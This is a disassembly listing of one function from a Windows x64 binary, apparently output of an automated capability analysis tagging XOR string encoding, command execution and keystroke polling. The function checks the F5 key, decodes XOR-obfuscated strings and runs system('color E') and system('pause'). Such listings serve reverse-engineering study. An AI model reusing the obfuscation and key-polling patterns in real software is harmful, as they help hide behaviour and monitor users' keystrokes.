Function at 0x140005ea0
Capabilities:
Encode data using xor
Execute command
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov ecx, 1
call fcn.140006764
lea rcx, str.color_E
mov qword [rbp + 0x67], rax
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006550
nop dword [rax]
mov ecx, 0x74
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140005ee0
mov ecx, 0x46
xor edx, edx
call fcn.140001670
lea ecx, [rdx + 0x6f]
mov word [rbp - 0x39], ax
lea edx, [rcx - 0x6e]
call fcn.140001670
lea ecx, [rdx + 0x71]
mov word [rbp - 0x37], ax
lea edx, [rcx - 0x70]
call fcn.140001670
lea ecx, [rdx + 0x72]
mov word [rbp - 0x35], ax
lea edx, [rcx - 0x71]
call fcn.140001670
lea ecx, [rdx + 0x6b]
mov word [rbp - 0x33], ax
lea edx, [rcx - 0x6a]
call fcn.140001670
lea ecx, [rdx + 0x65]
mov word [rbp - 0x31], ax
lea edx, [rcx - 0x64]
call fcn.140001670
lea ecx, [rdx + 0x6f]
mov word [rbp - 0x2f], ax
lea edx, [rcx - 0x6e]
call fcn.140001670
lea ecx, [rdx + 0x5f]
mov word [rbp - 0x2d], ax
lea edx, [rcx - 0x5e]
call fcn.140001670
lea ecx, [rdx + 0x3c]
mov word [rbp - 0x2b], ax
lea edx, [rcx - 0x3b]
call fcn.140001670
lea ecx, [rdx + 0x64]
mov word [rbp - 0x29], ax
lea edx, [rcx - 0x63]
call fcn.140001670
lea ecx, [rdx + 0x60]
mov word [rbp - 0x27], ax
lea edx, [rcx - 0x5f]
call fcn.140001670
lea ecx, [rdx + 0x5b]
mov word [rbp - 0x25], ax
lea edx, [rcx - 0x5a]
call fcn.140001670
lea ecx, [rdx + 0x63]
mov word [rbp - 0x23], ax
lea edx, [rcx - 0x62]
call fcn.140001670
lea ecx, [rdx + 0x68]
mov word [rbp - 0x21], ax
lea edx, [rcx - 0x67]
call fcn.140001670
lea ecx, [rdx + 0x20]
mov word [rbp - 0x1f], ax
lea edx, [rcx - 0x1f]
call fcn.140001670
lea ecx, [rdx + 0x49]
mov word [rbp - 0x1d], ax
lea edx, [rcx - 0x48]
call fcn.140001670
lea ecx, [rdx + 0x5a]
mov word [rbp - 0x1b], ax
lea edx, [rcx - 0x59]
call fcn.140001670
lea ecx, [rdx + 0x5e]
mov word [rbp - 0x19], ax
lea edx, [rcx - 0x5d]
call fcn.140001670
lea ecx, [rdx + 0x25]
mov word [rbp - 0x17], ax
lea edx, [rcx - 0x24]
call fcn.140001670
lea ecx, [rdx + 0x22]
mov word [rbp - 0x15], ax
lea edx, [rcx - 0x21]
call fcn.140001670
mov word [rbp - 0x13], ax
lea ecx, [rdx + 0x1a]
lea edx, [rcx - 0x19]
call fcn.140001670
lea ecx, [rdx + 0x3f]
mov word [rbp - 0x11], ax
lea edx, [rcx - 0x3e]
call fcn.140001670
lea ecx, [rdx + 0x53]
mov word [rbp - 0xf], ax
lea edx, [rcx - 0x52]
call fcn.140001670
lea ecx, [rdx + 0x53]
mov word [rbp - 0xd], ax
lea edx, [rcx - 0x52]
call fcn.140001670
lea ecx, [rdx + 0x59]
mov word [rbp - 0xb], ax
lea edx, [rcx - 0x58]
call fcn.140001670
lea edx, [rcx - 0x57]
mov word [rbp - 9], ax
call fcn.140001670
lea ecx, [rdx + 0x50]
mov word [rbp - 7], ax
lea edx, [rcx - 0x4f]
call fcn.140001670
lea ecx, [rdx + 0x54]
mov word [rbp - 5], ax
lea edx, [rcx - 0x53]
call fcn.140001670
lea ecx, [rdx + 0x4c]
mov word [rbp - 3], ax
lea edx, [rcx - 0x4b]
call fcn.140001670
lea ecx, [rdx + 0x12]
mov word [rbp - 1], ax
lea edx, [rcx - 0x11]
call fcn.140001670
lea ecx, [rdx + 0x48]
mov word [rbp + 1], ax
lea edx, [rcx - 0x47]
call fcn.140001670
lea ecx, [rdx + 0x5a]
mov word [rbp + 3], ax
lea edx, [rcx - 0x59]
call fcn.140001670
lea ecx, [rdx + 0x46]
mov word [rbp + 5], ax
lea edx, [rcx - 0x45]
call fcn.140001670
xor ecx, ecx
mov word [rbp + 7], ax
lea edx, [rcx + 0x21]
call fcn.140001670
lea edx, [rcx + 0x22]
mov word [rbp + 9], ax
movzx ecx, word [0x1400085e4]
call fcn.140001670
movzx ecx, word [0x1400085e6]
mov edx, 0x23
mov word [rbp + 0xb], ax
call fcn.140001670
movzx ecx, word [str.int.dll]
mov edx, 0x24
mov word [rbp + 0xd], ax
call fcn.140001670
movzx ecx, word [0x1400085ea]
mov edx, 0x25
mov word [rbp + 0xf], ax
call fcn.140001670
movzx ecx, word [0x1400085ec]
mov edx, 0x26
mov word [rbp + 0x11], ax
call fcn.140001670
movzx ecx, word [0x1400085ee]
mov edx, 0x27
mov word [rbp + 0x13], ax
call fcn.140001670
movzx ecx, word [0x1400085f0]
mov edx, 0x28
mov word [rbp + 0x15], ax
call fcn.140001670
movzx ecx, word [0x1400085f2]
mov edx, 0x29
mov word [rbp + 0x17], ax
call fcn.140001670
movzx ecx, word [0x1400085f4]
mov edx, 0x2a
mov word [rbp + 0x19], ax
call fcn.140001670
movzx ecx, word [0x1400085f6]
mov edx, 0x2b
mov word [rbp + 0x1b], ax
call fcn.140001670
movzx ecx, word [str.pause]
mov edx, 0x2c
mov word [rbp + 0x1d], ax
call fcn.140001670
movzx ecx, word [0x1400085fa]
mov edx, 0x2d
mov word [rbp + 0x1f], ax
call fcn.140001670
movzx ecx, word [0x1400085fc]
mov edx, 0x2e
mov word [rbp + 0x21], ax
call fcn.140001670
movzx ecx, word [0x1400085fe]
mov edx, 0x2f
mov word [rbp + 0x23], ax
call fcn.140001670
movzx ecx, word [0x140008600]
mov edx, 0x30
mov word [rbp + 0x25], ax
call fcn.140001670
movzx ecx, word [0x140008602]
mov edx, 0x31
mov word [rbp + 0x27], ax
call fcn.140001670
movzx ecx, word [0x140008604]
mov edx, 0x32
mov word [rbp + 0x29], ax
call fcn.140001670
movzx ecx, word [0x140008606]
mov edx, 0x33
mov word [rbp + 0x2b], ax
call fcn.140001670
movzx ecx, word [0x140008608]
mov edx, 0x34
mov word [rbp + 0x2d], ax
call fcn.140001670
movzx ecx, word [0x14000860a]
mov edx, 0x35
mov word [rbp + 0x2f], ax
call fcn.140001670
movzx ecx, word [0x14000860c]
mov edx, 0x36
mov word [rbp + 0x31], ax
call fcn.140001670
movzx ecx, word [0x14000860e]
mov edx, 0x37
mov word [rbp + 0x33], ax
call fcn.140001670
movzx ecx, word [0x140008610]
mov edx, 0x38
mov word [rbp + 0x35], ax
call fcn.140001670
movzx ecx, word [0x140008612]
mov edx, 0x39
mov word [rbp + 0x37], ax
call fcn.140001670
movzx ecx, word [0x140008614]
mov edx, 0x3a
mov word [rbp + 0x39], ax
call fcn.140001670
movzx ecx, word [0x140008616]
mov edx, 0x3b
mov word [rbp + 0x3b], ax
call fcn.140001670
movzx ecx, word [0x140008618]
mov edx, 0x3c
mov word [rbp + 0x3d], ax
call fcn.140001670
mov word [rbp + 0x3f], ax
movzx ecx, word [0x14000861a]
mov edx, 0x3d
call fcn.140001670
movzx ecx, word [0x14000861c]
mov edx, 0x3e
mov word [rbp + 0x41], ax
call fcn.140001670
movzx ecx, word [0x14000861e]
mov edx, 0x3f
mov word [rbp + 0x43], ax
call fcn.140001670
movzx ecx, word [0x140008620]
mov edx, 0x40
mov word [rbp + 0x45], ax
call fcn.140001670
movzx ecx, word [0x140008622]
mov edx, 0x41
mov word [rbp + 0x47], ax
call fcn.140001670
movzx ecx, word [0x140008624]
mov edx, 0x42
mov word [rbp + 0x49], ax
call fcn.140001670
mov word [rbp + 0x4b], ax
mov r9d, 0x133
xor eax, eax
xor r10d, r10d
mov word [rbp + 0x4d], ax
mov ecx, r10d
mov edx, r10d
nop dword [rax]
nop word [rax + rax]
lea eax, [r9 + rcx]
inc ecx
xor word [rbp + rdx*2 - 0x39], ax
movsxd rdx, ecx
cmp rdx, 0x43
jb 0x1400063c0
mov ecx, 0x69
mov word [rbp + 0x4d], r10w
xor edx, edx
call fcn.140001670
lea ecx, [rdx + 0x6e]
mov word [rbp - 0x59], ax
lea edx, [rcx - 0x6d]
call fcn.140001670
lea ecx, [rdx + 0x73]
mov word [rbp - 0x57], ax
lea edx, [rcx - 0x72]
call fcn.140001670
lea ecx, [rdx + 0x2c]
mov word [rbp - 0x55], ax
lea edx, [rcx - 0x2b]
call fcn.140001670
lea ecx, [rdx + 0x61]
mov word [rbp - 0x53], ax
lea edx, [rcx - 0x60]
call fcn.140001670
lea ecx, [rdx + 0x68]
mov word [rbp - 0x51], ax
lea edx, [rcx - 0x67]
call fcn.140001670
lea edx, [rcx - 0x66]
mov word [rbp - 0x4f], ax
call fcn.140001670
xor ecx, ecx
mov word [rbp - 0x4d], ax
lea edx, [rcx + 7]
call fcn.140001670
lea edx, [rcx + 8]
mov word [rbp - 0x4b], ax
movzx ecx, word [str.pause]
call fcn.140001670
movzx ecx, word [0x1400085fa]
mov edx, 9
mov word [rbp - 0x49], ax
call fcn.140001670
movzx ecx, word [0x1400085fc]
mov edx, 0xa
mov word [rbp - 0x47], ax
call fcn.140001670
movzx ecx, word [0x1400085fe]
mov edx, 0xb
mov word [rbp - 0x45], ax
call fcn.140001670
movzx ecx, word [0x140008600]
mov edx, 0xc
mov word [rbp - 0x43], ax
call fcn.140001670
movzx ecx, word [0x140008602]
mov edx, 0xd
mov word [rbp - 0x41], ax
call fcn.140001670
movzx ecx, word [0x140008604]
mov edx, 0xe
mov word [rbp - 0x3f], ax
call fcn.140001670
mov word [rbp - 0x3d], ax
mov r8, r10
xor eax, eax
mov word [rbp - 0x3b], ax
nop dword [rax + rax]
lea edx, [r9 + rax]
inc eax
xor word [rbp + r8*2 - 0x59], dx
movsxd r8, eax
cmp r8, 0xf
jb 0x1400064f0
lea r8, [rbp - 0x39]
mov word [rbp - 0x3b], r10w
lea rdx, [rbp - 0x59]
mov rcx, rbx
call fcn.140002560
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0xe8]
xor eax, eax
add rsp, 0xd0
pop rbp
ret